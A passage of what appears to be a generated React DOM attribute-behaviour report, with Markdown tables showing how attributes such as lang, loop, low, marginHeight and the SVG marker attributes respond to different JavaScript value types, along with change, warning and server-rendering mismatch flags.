(initial, warning)| `<empty string>` |\n| `lang=(string 'true')`| (changed)| `\"true\"` |\n| `lang=(string 'false')`| (changed)| `\"false\"` |\n| `lang=(string 'on')`| (changed)| `\"on\"` |\n| `lang=(string 'off')`| (changed)| `\"off\"` |\n| `lang=(symbol)`| (initial, warning)| `<empty string>` |\n| `lang=(function)`| (initial, warning)| `<empty string>` |\n| `lang=(null)`| (initial)| `<empty string>` |\n| `lang=(undefined)`| (initial)| `<empty string>` |\n\n## `lang` (on `<html>` inside `<document>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `lang=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `lang=(empty string)`| (initial)| `<empty string>` |\n| `lang=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `lang=(empty array)`| (initial)| `<empty string>` |\n| `lang=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `lang=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `lang=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `lang=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `lang=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `lang=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `lang=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `lang=(true)`| (initial, warning)| `<empty string>` |\n| `lang=(false)`| (initial, warning)| `<empty string>` |\n| `lang=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `lang=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `lang=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `lang=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `lang=(symbol)`| (initial, warning)| `<empty string>` |\n| `lang=(function)`| (initial, warning)| `<empty string>` |\n| `lang=(null)`| (initial)| `<empty string>` |\n| `lang=(undefined)`| (initial)| `<empty string>` |\n\n## `length` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `length=(string)`| (changed)| `\"a string\"` |\n| `length=(empty string)`| (changed)| `<empty string>` |\n| `length=(array with string)`| (changed)| `\"string\"` |\n| `length=(empty array)`| (changed)| `<empty string>` |\n| `length=(object)`| (changed)| `\"result of toString()\"` |\n| `length=(numeric string)`| (changed)| `\"42\"` |\n| `length=(-1)`| (changed)| `\"-1\"` |\n| `length=(0)`| (changed)| `\"0\"` |\n| `length=(integer)`| (changed)| `\"1\"` |\n| `length=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `length=(float)`| (changed)| `\"99.99\"` |\n| `length=(true)`| (initial, warning)| `<null>` |\n| `length=(false)`| (initial, warning)| `<null>` |\n| `length=(string 'true')`| (changed)| `\"true\"` |\n| `length=(string 'false')`| (changed)| `\"false\"` |\n| `length=(string 'on')`| (changed)| `\"on\"` |\n| `length=(string 'off')`| (changed)| `\"off\"` |\n| `length=(symbol)`| (initial, warning)| `<null>` |\n| `length=(function)`| (initial, warning)| `<null>` |\n| `length=(null)`| (initial)| `<null>` |\n| `length=(undefined)`| (initial)| `<null>` |\n\n## `lengthAdjust` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `lengthAdjust=(string)`| (changed)| `<number: 2>` |\n| `lengthAdjust=(empty string)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(array with string)`| (changed)| `<number: 2>` |\n| `lengthAdjust=(empty array)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(object)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(numeric string)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(-1)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(0)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(integer)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(NaN)`| (initial, warning)| `<number: 1>` |\n| `lengthAdjust=(float)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(true)`| (initial, warning)| `<number: 1>` |\n| `lengthAdjust=(false)`| (initial, warning)| `<number: 1>` |\n| `lengthAdjust=(string 'true')`| (initial)| `<number: 1>` |\n| `lengthAdjust=(string 'false')`| (initial)| `<number: 1>` |\n| `lengthAdjust=(string 'on')`| (initial)| `<number: 1>` |\n| `lengthAdjust=(string 'off')`| (initial)| `<number: 1>` |\n| `lengthAdjust=(symbol)`| (initial, warning)| `<number: 1>` |\n| `lengthAdjust=(function)`| (initial, warning)| `<number: 1>` |\n| `lengthAdjust=(null)`| (initial)| `<number: 1>` |\n| `lengthAdjust=(undefined)`| (initial)| `<number: 1>` |\n\n## `letter-spacing` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `letter-spacing=(string)`| (changed, warning)| `\"a string\"` |\n| `letter-spacing=(empty string)`| (changed, warning)| `<empty string>` |\n| `letter-spacing=(array with string)`| (changed, warning)| `\"string\"` |\n| `letter-spacing=(empty array)`| (changed, warning)| `<empty string>` |\n| `letter-spacing=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `letter-spacing=(numeric string)`| (changed, warning)| `\"42\"` |\n| `letter-spacing=(-1)`| (changed, warning)| `\"-1\"` |\n| `letter-spacing=(0)`| (changed, warning)| `\"0\"` |\n| `letter-spacing=(integer)`| (changed, warning)| `\"1\"` |\n| `letter-spacing=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `letter-spacing=(float)`| (changed, warning)| `\"99.99\"` |\n| `letter-spacing=(true)`| (initial, warning)| `<null>` |\n| `letter-spacing=(false)`| (initial, warning)| `<null>` |\n| `letter-spacing=(string 'true')`| (changed, warning)| `\"true\"` |\n| `letter-spacing=(string 'false')`| (changed, warning)| `\"false\"` |\n| `letter-spacing=(string 'on')`| (changed, warning)| `\"on\"` |\n| `letter-spacing=(string 'off')`| (changed, warning)| `\"off\"` |\n| `letter-spacing=(symbol)`| (initial, warning)| `<null>` |\n| `letter-spacing=(function)`| (initial, warning)| `<null>` |\n| `letter-spacing=(null)`| (initial, warning)| `<null>` |\n| `letter-spacing=(undefined)`| (initial, warning)| `<null>` |\n\n## `letterSpacing` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `letterSpacing=(string)`| (changed)| `\"a string\"` |\n| `letterSpacing=(empty string)`| (changed)| `<empty string>` |\n| `letterSpacing=(array with string)`| (changed)| `\"string\"` |\n| `letterSpacing=(empty array)`| (changed)| `<empty string>` |\n| `letterSpacing=(object)`| (changed)| `\"result of toString()\"` |\n| `letterSpacing=(numeric string)`| (changed)| `\"42\"` |\n| `letterSpacing=(-1)`| (changed)| `\"-1\"` |\n| `letterSpacing=(0)`| (changed)| `\"0\"` |\n| `letterSpacing=(integer)`| (changed)| `\"1\"` |\n| `letterSpacing=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `letterSpacing=(float)`| (changed)| `\"99.99\"` |\n| `letterSpacing=(true)`| (initial, warning)| `<null>` |\n| `letterSpacing=(false)`| (initial, warning)| `<null>` |\n| `letterSpacing=(string 'true')`| (changed)| `\"true\"` |\n| `letterSpacing=(string 'false')`| (changed)| `\"false\"` |\n| `letterSpacing=(string 'on')`| (changed)| `\"on\"` |\n| `letterSpacing=(string 'off')`| (changed)| `\"off\"` |\n| `letterSpacing=(symbol)`| (initial, warning)| `<null>` |\n| `letterSpacing=(function)`| (initial, warning)| `<null>` |\n| `letterSpacing=(null)`| (initial)| `<null>` |\n| `letterSpacing=(undefined)`| (initial)| `<null>` |\n\n## `lighting-color` (on `<feDiffuseLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `lighting-color=(string)`| (changed, warning)| `\"a string\"` |\n| `lighting-color=(empty string)`| (changed, warning)| `<empty string>` |\n| `lighting-color=(array with string)`| (changed, warning)| `\"string\"` |\n| `lighting-color=(empty array)`| (changed, warning)| `<empty string>` |\n| `lighting-color=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `lighting-color=(numeric string)`| (changed, warning)| `\"42\"` |\n| `lighting-color=(-1)`| (changed, warning)| `\"-1\"` |\n| `lighting-color=(0)`| (changed, warning)| `\"0\"` |\n| `lighting-color=(integer)`| (changed, warning)| `\"1\"` |\n| `lighting-color=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `lighting-color=(float)`| (changed, warning)| `\"99.99\"` |\n| `lighting-color=(true)`| (initial, warning)| `<null>` |\n| `lighting-color=(false)`| (initial, warning)| `<null>` |\n| `lighting-color=(string 'true')`| (changed, warning)| `\"true\"` |\n| `lighting-color=(string 'false')`| (changed, warning)| `\"false\"` |\n| `lighting-color=(string 'on')`| (changed, warning)| `\"on\"` |\n| `lighting-color=(string 'off')`| (changed, warning)| `\"off\"` |\n| `lighting-color=(symbol)`| (initial, warning)| `<null>` |\n| `lighting-color=(function)`| (initial, warning)| `<null>` |\n| `lighting-color=(null)`| (initial, warning)| `<null>` |\n| `lighting-color=(undefined)`| (initial, warning)| `<null>` |\n\n## `lightingColor` (on `<feDiffuseLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `lightingColor=(string)`| (changed)| `\"a string\"` |\n| `lightingColor=(empty string)`| (changed)| `<empty string>` |\n| `lightingColor=(array with string)`| (changed)| `\"string\"` |\n| `lightingColor=(empty array)`| (changed)| `<empty string>` |\n| `lightingColor=(object)`| (changed)| `\"result of toString()\"` |\n| `lightingColor=(numeric string)`| (changed)| `\"42\"` |\n| `lightingColor=(-1)`| (changed)| `\"-1\"` |\n| `lightingColor=(0)`| (changed)| `\"0\"` |\n| `lightingColor=(integer)`| (changed)| `\"1\"` |\n| `lightingColor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `lightingColor=(float)`| (changed)| `\"99.99\"` |\n| `lightingColor=(true)`| (initial, warning)| `<null>` |\n| `lightingColor=(false)`| (initial, warning)| `<null>` |\n| `lightingColor=(string 'true')`| (changed)| `\"true\"` |\n| `lightingColor=(string 'false')`| (changed)| `\"false\"` |\n| `lightingColor=(string 'on')`| (changed)| `\"on\"` |\n| `lightingColor=(string 'off')`| (changed)| `\"off\"` |\n| `lightingColor=(symbol)`| (initial, warning)| `<null>` |\n| `lightingColor=(function)`| (initial, warning)| `<null>` |\n| `lightingColor=(null)`| (initial)| `<null>` |\n| `lightingColor=(undefined)`| (initial)| `<null>` |\n\n## `limitingConeAngle` (on `<feSpotLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `limitingConeAngle=(string)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(empty string)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(array with string)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(empty array)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(object)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(numeric string)`| (changed)| `<number: 42>` |\n| `limitingConeAngle=(-1)`| (changed)| `<number: -1>` |\n| `limitingConeAngle=(0)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(integer)`| (changed)| `<number: 1>` |\n| `limitingConeAngle=(NaN)`| (initial, warning)| `<number: 0>` |\n| `limitingConeAngle=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `limitingConeAngle=(true)`| (initial, warning)| `<number: 0>` |\n| `limitingConeAngle=(false)`| (initial, warning)| `<number: 0>` |\n| `limitingConeAngle=(string 'true')`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(string 'false')`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(string 'on')`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(string 'off')`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(symbol)`| (initial, warning)| `<number: 0>` |\n| `limitingConeAngle=(function)`| (initial, warning)| `<number: 0>` |\n| `limitingConeAngle=(null)`| (initial)| `<number: 0>` |\n| `limitingConeAngle=(undefined)`| (initial)| `<number: 0>` |\n\n## `list` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `list=(string)`| (changed)| `\"a string\"` |\n| `list=(empty string)`| (changed)| `<empty string>` |\n| `list=(array with string)`| (changed)| `\"string\"` |\n| `list=(empty array)`| (changed)| `<empty string>` |\n| `list=(object)`| (changed)| `\"result of toString()\"` |\n| `list=(numeric string)`| (changed)| `\"42\"` |\n| `list=(-1)`| (changed)| `\"-1\"` |\n| `list=(0)`| (changed)| `\"0\"` |\n| `list=(integer)`| (changed)| `\"1\"` |\n| `list=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `list=(float)`| (changed)| `\"99.99\"` |\n| `list=(true)`| (initial, warning)| `<null>` |\n| `list=(false)`| (initial, warning)| `<null>` |\n| `list=(string 'true')`| (changed)| `\"true\"` |\n| `list=(string 'false')`| (changed)| `\"false\"` |\n| `list=(string 'on')`| (changed)| `\"on\"` |\n| `list=(string 'off')`| (changed)| `\"off\"` |\n| `list=(symbol)`| (initial, warning)| `<null>` |\n| `list=(function)`| (initial, warning)| `<null>` |\n| `list=(null)`| (initial)| `<null>` |\n| `list=(undefined)`| (initial)| `<null>` |\n\n## `local` (on `<color-profile>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `local=(string)`| (changed)| `\"a string\"` |\n| `local=(empty string)`| (changed)| `<empty string>` |\n| `local=(array with string)`| (changed)| `\"string\"` |\n| `local=(empty array)`| (changed)| `<empty string>` |\n| `local=(object)`| (changed)| `\"result of toString()\"` |\n| `local=(numeric string)`| (changed)| `\"42\"` |\n| `local=(-1)`| (changed)| `\"-1\"` |\n| `local=(0)`| (changed)| `\"0\"` |\n| `local=(integer)`| (changed)| `\"1\"` |\n| `local=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `local=(float)`| (changed)| `\"99.99\"` |\n| `local=(true)`| (initial, warning)| `<null>` |\n| `local=(false)`| (initial, warning)| `<null>` |\n| `local=(string 'true')`| (changed)| `\"true\"` |\n| `local=(string 'false')`| (changed)| `\"false\"` |\n| `local=(string 'on')`| (changed)| `\"on\"` |\n| `local=(string 'off')`| (changed)| `\"off\"` |\n| `local=(symbol)`| (initial, warning)| `<null>` |\n| `local=(function)`| (initial, warning)| `<null>` |\n| `local=(null)`| (initial)| `<null>` |\n| `local=(undefined)`| (initial)| `<null>` |\n\n## `loop` (on `<audio>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `loop=(string)`| (changed)| `<boolean: true>` |\n| `loop=(empty string)`| (initial)| `<boolean: false>` |\n| `loop=(array with string)`| (changed)| `<boolean: true>` |\n| `loop=(empty array)`| (changed)| `<boolean: true>` |\n| `loop=(object)`| (changed)| `<boolean: true>` |\n| `loop=(numeric string)`| (changed)| `<boolean: true>` |\n| `loop=(-1)`| (changed)| `<boolean: true>` |\n| `loop=(0)`| (initial)| `<boolean: false>` |\n| `loop=(integer)`| (changed)| `<boolean: true>` |\n| `loop=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `loop=(float)`| (changed)| `<boolean: true>` |\n| `loop=(true)`| (changed)| `<boolean: true>` |\n| `loop=(false)`| (initial)| `<boolean: false>` |\n| `loop=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `loop=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `loop=(string 'on')`| (changed)| `<boolean: true>` |\n| `loop=(string 'off')`| (changed)| `<boolean: true>` |\n| `loop=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `loop=(function)`| (initial, warning)| `<boolean: false>` |\n| `loop=(null)`| (initial)| `<boolean: false>` |\n| `loop=(undefined)`| (initial)| `<boolean: false>` |\n\n## `low` (on `<meter>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `low=(string)`| (initial)| `<number: 0>` |\n| `low=(empty string)`| (initial)| `<number: 0>` |\n| `low=(array with string)`| (initial)| `<number: 0>` |\n| `low=(empty array)`| (initial)| `<number: 0>` |\n| `low=(object)`| (initial)| `<number: 0>` |\n| `low=(numeric string)`| (changed)| `<number: 1>` |\n| `low=(-1)`| (initial)| `<number: 0>` |\n| `low=(0)`| (initial)| `<number: 0>` |\n| `low=(integer)`| (changed)| `<number: 1>` |\n| `low=(NaN)`| (initial, warning)| `<number: 0>` |\n| `low=(float)`| (changed)| `<number: 1>` |\n| `low=(true)`| (initial, warning)| `<number: 0>` |\n| `low=(false)`| (initial, warning)| `<number: 0>` |\n| `low=(string 'true')`| (initial)| `<number: 0>` |\n| `low=(string 'false')`| (initial)| `<number: 0>` |\n| `low=(string 'on')`| (initial)| `<number: 0>` |\n| `low=(string 'off')`| (initial)| `<number: 0>` |\n| `low=(symbol)`| (initial, warning)| `<number: 0>` |\n| `low=(function)`| (initial, warning)| `<number: 0>` |\n| `low=(null)`| (initial)| `<number: 0>` |\n| `low=(undefined)`| (initial)| `<number: 0>` |\n\n## `manifest` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `manifest=(string)`| (changed)| `\"a string\"` |\n| `manifest=(empty string)`| (changed)| `<empty string>` |\n| `manifest=(array with string)`| (changed)| `\"string\"` |\n| `manifest=(empty array)`| (changed)| `<empty string>` |\n| `manifest=(object)`| (changed)| `\"result of toString()\"` |\n| `manifest=(numeric string)`| (changed)| `\"42\"` |\n| `manifest=(-1)`| (changed)| `\"-1\"` |\n| `manifest=(0)`| (changed)| `\"0\"` |\n| `manifest=(integer)`| (changed)| `\"1\"` |\n| `manifest=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `manifest=(float)`| (changed)| `\"99.99\"` |\n| `manifest=(true)`| (initial, warning)| `<null>` |\n| `manifest=(false)`| (initial, warning)| `<null>` |\n| `manifest=(string 'true')`| (changed)| `\"true\"` |\n| `manifest=(string 'false')`| (changed)| `\"false\"` |\n| `manifest=(string 'on')`| (changed)| `\"on\"` |\n| `manifest=(string 'off')`| (changed)| `\"off\"` |\n| `manifest=(symbol)`| (initial, warning)| `<null>` |\n| `manifest=(function)`| (initial, warning)| `<null>` |\n| `manifest=(null)`| (initial)| `<null>` |\n| `manifest=(undefined)`| (initial)| `<null>` |\n\n## `marginHeight` (on `<frame>` inside `<frameset>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `marginHeight=(string)`| (changed, ssr error, ssr mismatch)| `\"a string\"` |\n| `marginHeight=(empty string)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(array with string)`| (changed, ssr error, ssr mismatch)| `\"string\"` |\n| `marginHeight=(empty array)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(object)`| (changed, ssr error, ssr mismatch)| `\"result of toString()\"` |\n| `marginHeight=(numeric string)`| (changed, ssr error, ssr mismatch)| `\"42\"` |\n| `marginHeight=(-1)`| (changed, ssr error, ssr mismatch)| `\"-1\"` |\n| `marginHeight=(0)`| (changed, ssr error, ssr mismatch)| `\"0\"` |\n| `marginHeight=(integer)`| (changed, ssr error, ssr mismatch)| `\"1\"` |\n| `marginHeight=(NaN)`| (changed, warning, ssr error, ssr mismatch)| `\"NaN\"` |\n| `marginHeight=(float)`| (changed, ssr error, ssr mismatch)| `\"99.99\"` |\n| `marginHeight=(true)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(false)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(string 'true')`| (changed, ssr error, ssr mismatch)| `\"true\"` |\n| `marginHeight=(string 'false')`| (changed, ssr error, ssr mismatch)| `\"false\"` |\n| `marginHeight=(string 'on')`| (changed, ssr error, ssr mismatch)| `\"on\"` |\n| `marginHeight=(string 'off')`| (changed, ssr error, ssr mismatch)| `\"off\"` |\n| `marginHeight=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(function)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(null)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginHeight=(undefined)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n\n## `marginWidth` (on `<frame>` inside `<frameset>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `marginWidth=(string)`| (changed, ssr error, ssr mismatch)| `\"a string\"` |\n| `marginWidth=(empty string)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(array with string)`| (changed, ssr error, ssr mismatch)| `\"string\"` |\n| `marginWidth=(empty array)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(object)`| (changed, ssr error, ssr mismatch)| `\"result of toString()\"` |\n| `marginWidth=(numeric string)`| (changed, ssr error, ssr mismatch)| `\"42\"` |\n| `marginWidth=(-1)`| (changed, ssr error, ssr mismatch)| `\"-1\"` |\n| `marginWidth=(0)`| (changed, ssr error, ssr mismatch)| `\"0\"` |\n| `marginWidth=(integer)`| (changed, ssr error, ssr mismatch)| `\"1\"` |\n| `marginWidth=(NaN)`| (changed, warning, ssr error, ssr mismatch)| `\"NaN\"` |\n| `marginWidth=(float)`| (changed, ssr error, ssr mismatch)| `\"99.99\"` |\n| `marginWidth=(true)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(false)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(string 'true')`| (changed, ssr error, ssr mismatch)| `\"true\"` |\n| `marginWidth=(string 'false')`| (changed, ssr error, ssr mismatch)| `\"false\"` |\n| `marginWidth=(string 'on')`| (changed, ssr error, ssr mismatch)| `\"on\"` |\n| `marginWidth=(string 'off')`| (changed, ssr error, ssr mismatch)| `\"off\"` |\n| `marginWidth=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(function)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(null)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `marginWidth=(undefined)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n\n## `marker-end` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `marker-end=(string)`| (changed, warning)| `\"a string\"` |\n| `marker-end=(empty string)`| (changed, warning)| `<empty string>` |\n| `marker-end=(array with string)`| (changed, warning)| `\"string\"` |\n| `marker-end=(empty array)`| (changed, warning)| `<empty string>` |\n| `marker-end=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `marker-end=(numeric string)`| (changed, warning)| `\"42\"` |\n| `marker-end=(-1)`| (changed, warning)| `\"-1\"` |\n| `marker-end=(0)`| (changed, warning)| `\"0\"` |\n| `marker-end=(integer)`| (changed, warning)| `\"1\"` |\n| `marker-end=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `marker-end=(float)`| (changed, warning)| `\"99.99\"` |\n| `marker-end=(true)`| (initial, warning)| `<null>` |\n| `marker-end=(false)`| (initial, warning)| `<null>` |\n| `marker-end=(string 'true')`| (changed, warning)| `\"true\"` |\n| `marker-end=(string 'false')`| (changed, warning)| `\"false\"` |\n| `marker-end=(string 'on')`| (changed, warning)| `\"on\"` |\n| `marker-end=(string 'off')`| (changed, warning)| `\"off\"` |\n| `marker-end=(symbol)`| (initial, warning)| `<null>` |\n| `marker-end=(function)`| (initial, warning)| `<null>` |\n| `marker-end=(null)`| (initial, warning)| `<null>` |\n| `marker-end=(undefined)`| (initial, warning)| `<null>` |\n\n## `marker-mid` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `marker-mid=(string)`| (changed, warning)| `\"a string\"` |\n| `marker-mid=(empty string)`| (changed, warning)| `<empty string>` |\n| `marker-mid=(array with string)`| (changed, warning)| `\"string\"` |\n| `marker-mid=(empty array)`| (changed, warning)| `<empty string>` |\n| `marker-mid=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `marker-mid=(numeric string)`| (changed, warning)| `\"42\"` |\n| `marker-mid=(-1)`| (changed, warning)| `\"-1\"` |\n| `marker-mid=(0)`| (changed, warning)| `\"0\"` |\n| `marker-mid=(integer)`| (changed, warning)| `\"1\"` |\n| `marker-mid=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `marker-mid=(float)`| (changed, warning)| `\"99.99\"` |\n| `marker-mid=(true)`| (initial, warning)| `<null>` |\n| `marker-mid=(false)`| (initial, warning)| `<null>` |\n| `marker-mid=(string 'true')`| (changed, warning)| `\"true\"` |\n| `marker-mid=(string 'false')`| (changed, warning)| `\"false\"` |\n| `marker-mid=(string 'on')`| (changed, warning)| `\"on\"` |\n| `marker-mid=(string 'off')`| (changed, warning)| `\"off\"` |\n| `marker-mid=(symbol)`| (initial, warning)| `<null>` |\n| `marker-mid=(function)`| (initial, warning)| `<null>` |\n| `marker-mid=(null)`| (initial, warning)| `<null>` |\n| `marker-mid=(undefined)`| (initial, warning)| `<null>` |\n\n## `marker-start` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `marker-start=(string)`| (changed, warning)| `\"a string\"` |\n| `marker-start=(empty string)`| (changed, warning)| `<empty string>` |\n| `marker-start=(array with string)`| (changed, warning)| `\"string\"` |\n| `marker-start=(empty array)`| (changed, warning)| `<empty string>` |\n| `marker-start=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `marker-start=(numeric string)`| (changed, warning)| `\"42\"` |\n| `marker-start=(-1)`| (changed, warning)| `\"-1\"` |\n| `marker-start=(0)`| (changed, warning)| `\"0\"` |\n| `marker-start=(integer)`| (changed, warning)| `\"1\"` |\n| `marker-start=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `marker-start=(float)`| (changed, warning)| `\"99.99\"` |\n| `marker-start=(true)`| (initial, warning)| `<null>` |\n| `marker-start=(false)`| (initial, warning)| `<null>` |\n| `marker-start=(string 'true')`| (changed, warning)| `\"true\"` |\n| `marker-start=(string 'false')`| (changed, warning)| `\"false\"` |\n| `marker-start=(string 'on')`| (changed, warning)| `\"on\"` |\n| `marker-start=(string 'off')`| (changed, warning)| `\"off\"` |\n| `marker-start=(symbol)`| (initial, warning)| `<null>` |\n| `marker-start=(function)`| (initial, warning)| `<null>` |\n| `marker-start=(null)`| (initial, warning)| `<null>` |\n| `marker-start=(undefined)`| (initial, warning)| `<null>` |\n\n## `markerEnd` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerEnd=(string)`| (changed)| `\"a string\"` |\n| `markerEnd=(empty string)`| (changed)| `<empty string>` |\n| `markerEnd=(array with string)`| (changed)| `\"string\"` |\n| `markerEnd=(empty array)`| (changed)| `<empty string>` |\n| `markerEnd=(object)`| (changed)| `\"result of toString()\"` |\n| `markerEnd=(numeric string)`| (changed)| `\"42\"` |\n| `markerEnd=(-1)`| (changed)| `\"-1\"` |\n| `markerEnd=(0)`| (changed)| `\"0\"` |\n| `markerEnd=(integer)`| (changed)| `\"1\"` |\n| `markerEnd=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `markerEnd=(float)`| (changed)| `\"99.99\"` |\n| `markerEnd=(true)`| (initial, warning)| `<null>` |\n| `markerEnd=(false)`| (initial, warning)| `<null>` |\n| `markerEnd=(string 'true')`| (changed)| `\"true\"` |\n| `markerEnd=(string 'false')`| (changed)| `\"false\"` |\n| `markerEnd=(string 'on')`| (changed)| `\"on\"` |\n| `markerEnd=(string 'off')`| (changed)| `\"off\"` |\n| `markerEnd=(symbol)`| (initial, warning)| `<null>` |\n| `markerEnd=(function)`| (initial, warning)| `<null>` |\n| `markerEnd=(null)`| (initial)| `<null>` |\n| `markerEnd=(undefined)`| (initial)| `<null>` |\n\n## `markerHeight` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerHeight=(string)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(empty string)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(array with string)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(empty array)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(object)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `markerHeight=(-1)`| (changed)| `<SVGLength: -1>` |\n| `markerHeight=(0)`| (changed)| `<SVGLength: 0>` |\n| `markerHeight=(integer)`| (changed)| `<SVGLength: 1>` |\n| `markerHeight=(NaN)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerHeight=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `markerHeight=(true)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerHeight=(false)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerHeight=(string 'true')`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(string 'false')`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(string 'on')`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(string 'off')`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(symbol)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerHeight=(function)`| (initial, warning)| `<SVGLength: 3>` |\n| `markerHeight=(null)`| (initial)| `<SVGLength: 3>` |\n| `markerHeight=(undefined)`| (initial)| `<SVGLength: 3>` |\n\n## `markerMid` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `markerMid=(string)`| (changed)| `\"a string\"` |\n| `markerMid=(empty string)`| (changed)| `<empty string>` |\n| `markerMid=(array with string)`| (changed)| `\"string\"` |\n| `markerMid=(empty array)`| (changed)| `<empty string>` |\n| `markerMid=(object)`| (changed)| `\"result of toString()\"` |\n| `markerMid=(numeric string)`| (changed)| `\"42\"` |\n| `markerMid=(-1)`| (changed)| `\"-1\"` |\n| `markerMid=(0)`| (changed)| `\"0\"` |\n| 